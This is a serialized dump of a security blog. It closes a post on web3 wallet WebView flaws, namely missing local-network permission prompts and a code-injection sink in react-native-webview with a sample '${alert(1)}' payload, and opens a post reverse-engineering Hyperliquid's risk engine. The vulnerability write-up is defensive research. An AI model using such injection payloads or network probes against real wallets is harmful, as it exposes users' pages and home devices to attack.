:29,"value":30898},{"type":23,"tag":141,"props":156863,"children":156864},{"style":449},[156865],{"type":29,"value":30851},{"type":23,"tag":141,"props":156867,"children":156868},{"style":30844},[156869],{"type":29,"value":4666},{"type":23,"tag":17563,"props":156871,"children":156872},{"id":2902},[156873],{"type":29,"value":2905},{"type":23,"tag":32,"props":156875,"children":156876},{},[156877],{"type":29,"value":156878},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":32,"props":156880,"children":156881},{},[156882,156884,156890],{"type":29,"value":156883},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":55,"props":156885,"children":156888},{"href":156886,"rel":156887},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[59],[156889],{"type":29,"value":46062},{"type":29,"value":322},{"type":23,"tag":29814,"props":156892,"children":156893},{"style":29816},[156894],{"type":23,"tag":2591,"props":156895,"children":156899},{"src":156896,"alt":156897,"style":156898},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":156901,"children":156902},{},[156903],{"type":29,"value":156904},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":24,"props":156906,"children":156908},{"id":156907},"local-network-access",[156909],{"type":29,"value":156910},"Local Network Access",{"type":23,"tag":32,"props":156912,"children":156913},{},[156914,156916,156923,156925,156931],{"type":29,"value":156915},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":55,"props":156917,"children":156920},{"href":156918,"rel":156919},"https://wicg.github.io/private-network-access/",[59],[156921],{"type":29,"value":156922},"Private Network Access",{"type":29,"value":156924}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":55,"props":156926,"children":156929},{"href":156927,"rel":156928},"https://x.com/taviso/status/2051310678800253318",[59],[156930],{"type":29,"value":156927},{"type":29,"value":156932},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":29814,"props":156934,"children":156935},{"style":29816},[156936],{"type":23,"tag":2591,"props":156937,"children":156940},{"src":156938,"alt":156897,"style":156939},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":156942,"children":156943},{},[156944],{"type":29,"value":156945},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":156947,"props":156948,"children":156951},"zoom-image",{"src":156949,"alt":156950},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":32,"props":156953,"children":156954},{},[156955],{"type":29,"value":156956},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":15362,"props":156958,"children":156959},{},[156960,156965,156970],{"type":23,"tag":120,"props":156961,"children":156962},{},[156963],{"type":29,"value":156964},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":120,"props":156966,"children":156967},{},[156968],{"type":29,"value":156969},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":120,"props":156971,"children":156972},{},[156973],{"type":29,"value":156974},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":32,"props":156976,"children":156977},{},[156978],{"type":29,"value":156979},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":24,"props":156981,"children":156983},{"id":156982},"uxss-by-code-injection",[156984],{"type":29,"value":156985},"UXSS by Code Injection",{"type":23,"tag":32,"props":156987,"children":156988},{},[156989,156991,156997],{"type":29,"value":156990},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":38,"props":156992,"children":156994},{"className":156993},[],[156995],{"type":29,"value":156996},"injectJavascriptObject",{"type":29,"value":156998}," attribute worked. Here is the code snippet:",{"type":23,"tag":131,"props":157000,"children":157002},{"className":155238,"code":157001,"language":155240,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[157003],{"type":23,"tag":38,"props":157004,"children":157005},{"__ignoreMap":7},[157006,157026,157055,157089,157144,157249,157261,157274],{"type":23,"tag":141,"props":157007,"children":157008},{"class":143,"line":144},[157009,157013,157017,157022],{"type":23,"tag":141,"props":157010,"children":157011},{"style":449},[157012],{"type":29,"value":69266},{"type":23,"tag":141,"props":157014,"children":157015},{"style":725},[157016],{"type":29,"value":49528},{"type":23,"tag":141,"props":157018,"children":157019},{"style":184},[157020],{"type":29,"value":157021}," injectJavascriptObject",{"type":23,"tag":141,"props":157023,"children":157024},{"style":154},[157025],{"type":29,"value":14412},{"type":23,"tag":141,"props":157027,"children":157028},{"class":143,"line":180},[157029,157033,157037,157042,157046,157051],{"type":23,"tag":141,"props":157030,"children":157031},{"style":148},[157032],{"type":29,"value":37758},{"type":23,"tag":141,"props":157034,"children":157035},{"style":154},[157036],{"type":29,"value":1220},{"type":23,"tag":141,"props":157038,"children":157039},{"style":184},[157040],{"type":29,"value":157041},"getSettings",{"type":23,"tag":141,"props":157043,"children":157044},{"style":154},[157045],{"type":29,"value":1243},{"type":23,"tag":141,"props":157047,"children":157048},{"style":184},[157049],{"type":29,"value":157050},"getJavaScriptEnabled",{"type":23,"tag":141,"props":157052,"children":157053},{"style":154},[157054],{"type":29,"value":90506},{"type":23,"tag":141,"props":157056,"children":157057},{"class":143,"line":205},[157058,157063,157068,157072,157077,157081,157085],{"type":23,"tag":141,"props":157059,"children":157060},{"style":725},[157061],{"type":29,"value":157062}," String",{"type":23,"tag":141,"props":157064,"children":157065},{"style":750},[157066],{"type":29,"value":157067}," js",{"type":23,"tag":141,"props":157069,"children":157070},{"style":160},[157071],{"type":29,"value":1674},{"type":23,"tag":141,"props":157073,"children":157074},{"style":828},[157075],{"type":29,"value":157076}," \"(function(){",{"type":23,"tag":141,"props":157078,"children":157079},{"style":46851},[157080],{"type":29,"value":46854},{"type":23,"tag":141,"props":157082,"children":157083},{"style":828},[157084],{"type":29,"value":18731},{"type":23,"tag":141,"props":157086,"children":157087},{"style":160},[157088],{"type":29,"value":8467},{"type":23,"tag":141,"props":157090,"children":157091},{"class":143,"line":218},[157092,157097,157101,157106,157110,157115,157119,157123,157127,157132,157136,157140],{"type":23,"tag":141,"props":157093,"children":157094},{"style":828},[157095],{"type":29,"value":157096}," \" window.\"",{"type":23,"tag":141,"props":157098,"children":157099},{"style":160},[157100],{"type":29,"value":7581},{"type":23,"tag":141,"props":157102,"children":157103},{"style":154},[157104],{"type":29,"value":157105}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":141,"props":157107,"children":157108},{"style":160},[157109],{"type":29,"value":3058},{"type":23,"tag":141,"props":157111,"children":157112},{"style":828},[157113],{"type":29,"value":157114}," \" = window.\"",{"type":23,"tag":141,"props":157116,"children":157117},{"style":160},[157118],{"type":29,"value":7581},{"type":23,"tag":141,"props":157120,"children":157121},{"style":154},[157122],{"type":29,"value":157105},{"type":23,"tag":141,"props":157124,"children":157125},{"style":160},[157126],{"type":29,"value":3058},{"type":23,"tag":141,"props":157128,"children":157129},{"style":828},[157130],{"type":29,"value":157131}," \" || {};",{"type":23,"tag":141,"props":157133,"children":157134},{"style":46851},[157135],{"type":29,"value":46854},{"type":23,"tag":141,"props":157137,"children":157138},{"style":828},[157139],{"type":29,"value":18731},{"type":23,"tag":141,"props":157141,"children":157142},{"style":160},[157143],{"type":29,"value":8467},{"type":23,"tag":141,"props":157145,"children":157146},{"class":143,"line":227},[157147,157151,157155,157159,157163,157168,157172,157177,157181,157185,157189,157193,157197,157201,157206,157210,157215,157219,157224,157228,157232,157237,157241,157245],{"type":23,"tag":141,"props":157148,"children":157149},{"style":828},[157150],{"type":29,"value":157096},{"type":23,"tag":141,"props":157152,"children":157153},{"style":160},[157154],{"type":29,"value":7581},{"type":23,"tag":141,"props":157156,"children":157157},{"style":154},[157158],{"type":29,"value":157105},{"type":23,"tag":141,"props":157160,"children":157161},{"style":160},[157162],{"type":29,"value":3058},{"type":23,"tag":141,"props":157164,"children":157165},{"style":828},[157166],{"type":29,"value":157167}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":141,"props":157169,"children":157170},{"style":160},[157171],{"type":29,"value":7581},{"type":23,"tag":141,"props":157173,"children":157174},{"style":154},[157175],{"type":29,"value":157176}," (injectedJavaScriptObject ",{"type":23,"tag":141,"props":157178,"children":157179},{"style":160},[157180],{"type":29,"value":7251},{"type":23,"tag":141,"props":157182,"children":157183},{"style":449},[157184],{"type":29,"value":68752},{"type":23,"tag":141,"props":157186,"children":157187},{"style":148},[157188],{"type":29,"value":96526},{"type":23,"tag":141,"props":157190,"children":157191},{"style":449},[157192],{"type":29,"value":68752},{"type":23,"tag":141,"props":157194,"children":157195},{"style":148},[157196],{"type":29,"value":33586},{"type":23,"tag":141,"props":157198,"children":157199},{"style":154},[157200],{"type":29,"value":1220},{"type":23,"tag":141,"props":157202,"children":157203},{"style":828},[157204],{"type":29,"value":157205},"\"`\"",{"type":23,"tag":141,"props":157207,"children":157208},{"style":160},[157209],{"type":29,"value":7581},{"type":23,"tag":141,"props":157211,"children":157212},{"style":154},[157213],{"type":29,"value":157214}," injectedJavaScriptObject ",{"type":23,"tag":141,"props":157216,"children":157217},{"style":160},[157218],{"type":29,"value":3058},{"type":23,"tag":141,"props":157220,"children":157221},{"style":828},[157222],{"type":29,"value":157223}," \"`\"",{"type":23,"tag":141,"props":157225,"children":157226},{"style":154},[157227],{"type":29,"value":7513},{"type":23,"tag":141,"props":157229,"children":157230},{"style":160},[157231],{"type":29,"value":3058},{"type":23,"tag":141,"props":157233,"children":157234},{"style":828},[157235],{"type":29,"value":157236}," \"; };",{"type":23,"tag":141,"props":157238,"children":157239},{"style":46851},[157240],{"type":29,"value":46854},{"type":23,"tag":141,"props":157242,"children":157243},{"style":828},[157244],{"type":29,"value":18731},{"type":23,"tag":141,"props":157246,"children":157247},{"style":160},[157248],{"type":29,"value":8467},{"type":23,"tag":141,"props":157250,"children":157251},{"class":143,"line":241},[157252,157257],{"type":23,"tag":141,"props":157253,"children":157254},{"style":828},[157255],{"type":29,"value":157256}," \"})();\"",{"type":23,"tag":141,"props":157258,"children":157259},{"style":154},[157260],{"type":29,"value":1684},{"type":23,"tag":141,"props":157262,"children":157263},{"class":143,"line":262},[157264,157269],{"type":23,"tag":141,"props":157265,"children":157266},{"style":184},[157267],{"type":29,"value":157268}," evaluateJavascriptWithFallback",{"type":23,"tag":141,"props":157270,"children":157271},{"style":154},[157272],{"type":29,"value":157273},"(js);\n",{"type":23,"tag":141,"props":157275,"children":157276},{"class":143,"line":271},[157277],{"type":23,"tag":141,"props":157278,"children":157279},{"style":154},[157280],{"type":29,"value":11343},{"type":23,"tag":32,"props":157282,"children":157283},{},[157284,157286,157292,157294,157299,157301,157307],{"type":29,"value":157285},"It basically injects a javascript code with the ",{"type":23,"tag":38,"props":157287,"children":157289},{"className":157288},[],[157290],{"type":29,"value":157291},"injectedJavascriptObject",{"type":29,"value":157293}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":38,"props":157295,"children":157297},{"className":157296},[],[157298],{"type":29,"value":157291},{"type":29,"value":157300},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":38,"props":157302,"children":157304},{"className":157303},[],[157305],{"type":29,"value":157306},"${alert(1)}",{"type":29,"value":157308}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":32,"props":157310,"children":157311},{},[157312,157314,157321],{"type":29,"value":157313},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":55,"props":157315,"children":157318},{"href":157316,"rel":157317},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[59],[157319],{"type":29,"value":157320},"PR with the report and fix",{"type":29,"value":322},{"type":23,"tag":32,"props":157323,"children":157324},{},[157325],{"type":29,"value":157326},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":32,"props":157328,"children":157329},{},[157330,157332,157338],{"type":29,"value":157331},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":38,"props":157333,"children":157335},{"className":157334},[],[157336],{"type":29,"value":157337},"injectedJavaScriptObject",{"type":29,"value":157339}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":8287,"props":157341,"children":157342},{"id":27618},[157343],{"type":29,"value":17618},{"type":23,"tag":32,"props":157345,"children":157346},{},[157347],{"type":29,"value":157348},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":1508,"props":157350,"children":157351},{},[157352],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":157354},[157355,157359,157362,157363],{"id":155078,"depth":180,"text":155081,"children":157356},[157357,157358],{"id":155089,"depth":205,"text":155092},{"id":155164,"depth":205,"text":155167},{"id":155197,"depth":180,"text":155200,"children":157360},[157361],{"id":155387,"depth":205,"text":155390},{"id":156907,"depth":180,"text":156910},{"id":156982,"depth":180,"text":156985,"children":157364},[157365],{"id":27618,"depth":205,"text":17618},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":157370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157371,"description":157372,"date":157373,"author":157374,"image":157375,"isFeatured":15,"onBlogPage":15,"tags":157379,"hideToc":15,"body":157383,"_type":1522,"_id":164022,"_source":1524,"_file":164023,"_stem":164024,"_extension":1527},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":157376,"width":157377,"height":157378},"/posts/hyperliquid-risk-engine/title.png",1456,816,[157380,157381,157382],"hyperliquid","reverse-engineering","defi",{"type":20,"children":157384,"toc":163994},[157385,157391,157399,157404,157409,157414,157426,157431,157444,157463,157469,157481,157494,157499,157530,157535,157548,157553,157744,157750,157755,157767,157773,157778,157784,157797,157831,157836,157841,157853,157859,157879,157887,157900,157906,157917,157923,157935,157940,157946,157966,157974,157980,158014,158018,158054,158059,158064,158069,158082,158119,158124,158138,158144,158149,158175,158183,158188,158216,158221,158226,158564,158569,158574,158594,158621,158626,158639,158651,158656,158661,158667,158672,158677,158691,158696,158702,158730,158767,158778,158782,158787,158792,158798,158964,158999,159004,159010,159016,159205,159218,159223,159229,159250,159255,159261,159266,159271,159283,159288,159293,159299,159304,159309,159315,159321,159334,159367,159372,161948,162216,162221,163551,163556,163561,163573,163664,163676,163681,163687,163692,163700,163705,163713,163719,163753,163764,163772,163778,163784,163789,163797,163802,163807,163815,163827,163833,163838,163844,163855,163860,163866,163871,163876,163882,163887,163890,163895,163900,163906,163911,163923,163928,163933],{"type":23,"tag":24,"props":157386,"children":157388},{"id":157387},"perpetuals",[157389],{"type":29,"value":157390},"Perpetuals",{"type":23,"tag":355,"props":157392,"children":157393},{},[157394],{"type":23,"tag":32,"props":157395,"children":157396},{},[157397],{"type":29,"value":157398},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":32,"props":157400,"children":157401},{},[157402],{"type":29,"value":157403},"What does that even have to do with reverse engineering?",{"type":23,"tag":24,"props":157405,"children":157406},{"id":157380},[157407],{"type":29,"value":157408},"Hyperliquid",{"type":23,"tag":32,"props":157410,"children":157411},{},[157412],{"type":29,"value":157413},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":32,"props":157415,"children":157416},{},[157417,157419,157424],{"type":29,"value":157418},"The node is tasked with a ",{"type":23,"tag":47,"props":157420,"children":157421},{},[157422],{"type":29,"value":157423},"very hard problem",{"type":29,"value":157425},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":32,"props":157427,"children":157428},{},[157429],{"type":29,"value":157430},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":32,"props":157432,"children":157433},{},[157434,157436,157442],{"type":29,"value":157435},"Beyond that, the ",{"type":23,"tag":38,"props":157437,"children":157439},{"className":157438},[],[157440],{"type":29,"value":157441},"hl-node",{"type":29,"value":157443}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":32,"props":157445,"children":157446},{},[157447,157449,157454,157456,157461],{"type":29,"value":157448},"Armed with some curiosity, a good amount of ",{"type":23,"tag":47,"props":157450,"children":157451},{},[157452],{"type":29,"value":157453},"inference",{"type":29,"value":157455},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":47,"props":157457,"children":157458},{},[157459],{"type":29,"value":157460},"interactive interface",{"type":29,"value":157462},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":24,"props":157464,"children":157466},{"id":157465},"the-million-dollar-question",[157467],{"type":29,"value":157468},"The Million Dollar Question",{"type":23,"tag":32,"props":157470,"children":157471},{},[157472,157474,157479],{"type":29,"value":157473},"Let's say a terrible trader opens a ",{"type":23,"tag":47,"props":157475,"children":157476},{},[157477],{"type":29,"value":157478},"50x",{"type":29,"value":157480}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":32,"props":157482,"children":157483},{},[157484,157486,157492],{"type":29,"value":157485},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":38,"props":157487,"children":157489},{"className":157488},[],[157490],{"type":29,"value":157491},"compute_margin_requirement_by_mode",{"type":29,"value":157493}," function.",{"type":23,"tag":32,"props":157495,"children":157496},{},[157497],{"type":29,"value":157498},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":157500,"props":157501,"children":157502},"tip",{},[157503],{"type":23,"tag":32,"props":157504,"children":157505},{},[157506,157508,157513,157515,157522,157524,157529],{"type":29,"value":157507},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":47,"props":157509,"children":157510},{},[157511],{"type":29,"value":157512},"click through",{"type":29,"value":157514}," each action performed by ",{"type":23,"tag":55,"props":157516,"children":157519},{"href":157517,"rel":157518},"https://github.com/renato-osec/patina-research",[59],[157520],{"type":29,"value":157521},"our Rust reverse engineering agent",{"type":29,"value":157523},". Return to the regular view by clicking ",{"type":23,"tag":38,"props":157525,"children":157527},{"className":157526},[],[157528],{"type":29,"value":4661},{"type":29,"value":322},{"type":23,"tag":157531,"props":157532,"children":157534},"bndb-viewer-embed",{"addr":157533,"line-start":687,"line-end":133039},"0x555556bb4d20",[],{"type":23,"tag":32,"props":157536,"children":157537},{},[157538,157540,157546],{"type":29,"value":157539},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":38,"props":157541,"children":157543},{"className":157542},[],[157544],{"type":29,"value":157545},"OptionUnitQty",{"type":29,"value":157547},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":32,"props":157549,"children":157550},{},[157551],{"type":29,"value":157552},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":131,"props":157554,"children":157555},{},[157556],{"type":23,"tag":38,"props":157557,"children":157560},{"className":157558},[2658,157559],"math-display",[157561],{"type":23,"tag":141,"props":157562,"children":157565},{"className":157563},[157564],"katex-display",[157566],{"type":23,"tag":141,"props":157567,"children":157569},{"className":157568},[2664],[157570],{"type":23,"tag":141,"props":157571,"children":157573},{"className":157572,"ariaHidden":2670},[2669],[157574,157605],{"type":23,"tag":141,"props":157575,"children":157577},{"className":157576},[2675],[157578,157582,157592,157596,157601],{"type":23,"tag":141,"props":157579,"children":157581},{"className":157580,"style":92945},[2680],[],{"type":23,"tag":141,"props":157583,"children":157585},{"className":157584},[2686,29],[157586],{"type":23,"tag":141,"props":157587,"children":157589},{"className":157588},[2686],[157590],{"type":29,"value":157591},"liq_equity",{"type":23,"tag":141,"props":157593,"children":157595},{"className":157594,"style":2863},[2766],[],{"type":23,"tag":141,"props":157597,"children":157599},{"className":157598},[2868],[157600],{"type":29,"value":1377},{"type":23,"tag":141,"props":157602,"children":157604},{"className":157603,"style":2863},[2766],[],{"type":23,"tag":141,"props":157606,"children":157608},{"className":157607},[2675],[157609,157614],{"type":23,"tag":141,"props":157610,"children":157613},{"className":157611,"style":157612},[2680],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":141,"props":157615,"children":157617},{"className":157616},[2686],[157618,157622,157740],{"type":23,"tag":141,"props":157619,"children":157621},{"className":157620},[20389,112050],[],{"type":23,"tag":141,"props":157623,"children":157625},{"className":157624},[112055],[157626],{"type":23,"tag":141,"props":157627,"children":157629},{"className":157628},[2707,20314],[157630,157728],{"type":23,"tag":141,"props":157631,"children":157633},{"className":157632},[2712],[157634,157723],{"type":23,"tag":141,"props":157635,"children":157638},{"className":157636,"style":157637},[2717],"height:1.427em;",[157639,157679,157690],{"type":23,"tag":141,"props":157640,"children":157642},{"style":157641},"top:-2.314em;",[157643,157647],{"type":23,"tag":141,"props":157644,"children":157646},{"className":157645,"style":110703},[2726],[],{"type":23,"tag":141,"props":157648,"children":157650},{"className":157649},[2686],[157651,157656,157660,157665,157669],{"type":23,"tag":141,"props":157652,"children":157654},{"className":157653},[2686],[157655],{"type":29,"value":1049},{"type":23,"tag":141,"props":157657,"children":157659},{"className":157658,"style":2767},[2766],[],{"type":23,"tag":141,"props":157661,"children":157663},{"className":157662},[2772],[157664],{"type":29,"value":109794},{"type":23,"tag":141,"props":157666,"children":157668},{"className":157667,"style":2767},[2766],[],{"type":23,"tag":141,"props":157670,"children":157672},{"className":157671},[2686,29],[157673],{"type":23,"tag":141,"props":157674,"children":157676},{"className":157675},[2686],[157677],{"type":29,"value":157678},"leverage",{"type":23,"tag":141,"props":157680,"children":157681},{"style":112105},[157682,157686],{"type":23,"tag":141,"props":157683,"children":157685},{"className":157684,"style":110703},[2726],[],{"type":23,"tag":141,"props":157687,"children":157689},{"className":157688,"style":112115},[112114],[],{"type":23,"tag":141,"props":157691,"children":157693},{"style":157692},"top:-3.677em;",[157694,157698],{"type":23,"tag":141,"props":157695,"children":157697},{"className":157696,"style":110703},[2726],[],{"type":23,"tag":141,"props":157699,"children":157701},{"className":157700},[2686],[157702,157708,157718],{"type":23,"tag":141,"props":157703,"children":157705},{"className":157704},[2686],[157706],{"type":29,"value":157707},"∣",{"type":23,"tag":141,"props":157709,"children":157711},{"className":157710},[2686,29],[157712],{"type":23,"tag":141,"props":157713,"children":157715},{"className":157714},[2686],[157716],{"type":29,"value":157717},"notional",{"type":23,"tag":141,"props":157719,"children":157721},{"className":157720},[2686],[157722],{"type":29,"value":157707},{"type":23,"tag":141,"props":157724,"children":157726},{"className":157725},[20417],[157727],{"type":29,"value":20420},{"type":23,"tag":141,"props":157729,"children":157731},{"className":157730},[2712],[157732],{"type":23,"tag":141,"props":157733,"children":157736},{"className":157734,"style":157735},[2717],"height:0.8804em;",[157737],{"type":23,"tag":141,"props":157738,"children":157739},{},[],{"type":23,"tag":141,"props":157741,"children":157743},{"className":157742},[20411,112050],[],{"type":23,"tag":24,"props":157745,"children":157747},{"id":157746},"what-if-nobody-wants-to-buy-the-position",[157748],{"type":29,"value":157749},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":32,"props":157751,"children":157752},{},[157753],{"type":29,"value":157754},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":32,"props":157756,"children":157757},{},[157758,157760,157765],{"type":29,"value":157759},"When that happens, the exchange is basically left with a ",{"type":23,"tag":47,"props":157761,"children":157762},{},[157763],{"type":29,"value":157764},"hot potato",{"type":29,"value":157766}," to get rid of: what should it even do with the debt?",{"type":23,"tag":33843,"props":157768,"children":157770},{"id":157769},"the-risk-engine",[157771],{"type":29,"value":157772},"The Risk Engine",{"type":23,"tag":32,"props":157774,"children":157775},{},[157776],{"type":29,"value":157777},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":24,"props":157779,"children":157781},{"id":157780},"clearing-up-bad-debt",[157782],{"type":29,"value":157783},"Clearing Up Bad Debt",{"type":23,"tag":32,"props":157785,"children":157786},{},[157787,157788,157795],{"type":29,"value":388},{"type":23,"tag":55,"props":157789,"children":157792},{"href":157790,"rel":157791},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[59],[157793],{"type":29,"value":157794},"Hyperliquid docs",{"type":29,"value":157796}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":32,"props":157798,"children":157799},{},[157800,157802,157813,157815,157821,157823,157829],{"type":29,"value":157801},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":55,"props":157803,"children":157806},{"href":157804,"rel":157805},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[59],[157807],{"type":23,"tag":38,"props":157808,"children":157810},{"className":157809},[],[157811],{"type":29,"value":157812},"Clearinghouse",{"type":29,"value":157814},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":38,"props":157816,"children":157818},{"className":157817},[],[157819],{"type":29,"value":157820},"Exchange",{"type":29,"value":157822}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":38,"props":157824,"children":157826},{"className":157825},[],[157827],{"type":29,"value":157828},"MessagePack",{"type":29,"value":157830}," at runtime.",{"type":23,"tag":32,"props":157832,"children":157833},{},[157834],{"type":29,"value":157835},"This data will come in handy both for us and the agent.",{"type":23,"tag":157837,"props":157838,"children":157840},"file-download",{"path":157839},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":32,"props":157842,"children":157843},{},[157844,157846,157851],{"type":29,"value":157845},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":38,"props":157847,"children":157849},{"className":157848},[],[157850],{"type":29,"value":157812},{"type":29,"value":157852},". Some renaming later, we can infer something like this:",{"type":23,"tag":157531,"props":157854,"children":157858},{"source":157855,"target":157856,"direction":157857},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":32,"props":157860,"children":157861},{},[157862,157864,157869,157871,157877],{"type":29,"value":157863},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":38,"props":157865,"children":157867},{"className":157866},[],[157868],{"type":29,"value":157856},{"type":29,"value":157870},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":38,"props":157872,"children":157874},{"className":157873},[],[157875],{"type":29,"value":157876},"exchange_end_block",{"type":29,"value":157878},". So, at the end of each block we run some checks.",{"type":23,"tag":157500,"props":157880,"children":157881},{},[157882],{"type":23,"tag":32,"props":157883,"children":157884},{},[157885],{"type":29,"value":157886},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed 